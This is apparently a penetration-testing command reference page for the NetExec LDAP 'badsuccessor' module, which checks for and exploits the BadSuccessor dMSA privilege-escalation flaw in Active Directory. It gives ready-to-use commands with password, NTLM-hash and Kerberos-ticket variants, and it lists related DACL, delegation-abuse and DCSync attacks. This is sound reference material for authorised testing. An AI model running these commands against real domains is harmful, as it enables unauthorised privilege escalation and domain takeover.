NetExec LDAP BadSuccessor

Check and exploit the BadSuccessor vulnerability via delegated Managed Service Accounts (dMSA)

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Privilege Escalation / ACL / DACL Abuse
Platform: linux
Requires: password
Protocols: LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ldap '<ip>' -u '<user>' -p '<password>' -M badsuccessor

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc ldap '<ip>' -u '<user>' -H '<hash>' -M badsuccessor

Kerberos Ticket requires Kerberos ticket

nxc ldap '<ip>' -u '<user>' --use-kcache -M badsuccessor

Examples

nxc ldap '192.168.1.100' -u 'user' -p 'password' -M badsuccessor

Tags

nxc ldap badsuccessor dmsa privilege-escalation acl

Impacket dacledit Read or write DACL entries on AD objects to grant or abuse ACL rights
Impacket getST (S4U) Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
BloodyAD Add User to Group Add user to group using BloodyAD
bloodyAD Grant DCSync Grant a target principal the DS-Replication-Get-Changes and…
BloodyAD Set Object Owner Set object owner using BloodyAD
Impacket badsuccessor Exploit the BadSuccessor vulnerability to escalate privileges via delegated Managed…
Impacket dacledit.py Read, write, or remove DACL ACEs on AD objects from Linux. Use to grant yourself…
Impacket owneredit Read or rewrite the nTSecurityDescriptor owner of an AD object. Use after a WriteOwner…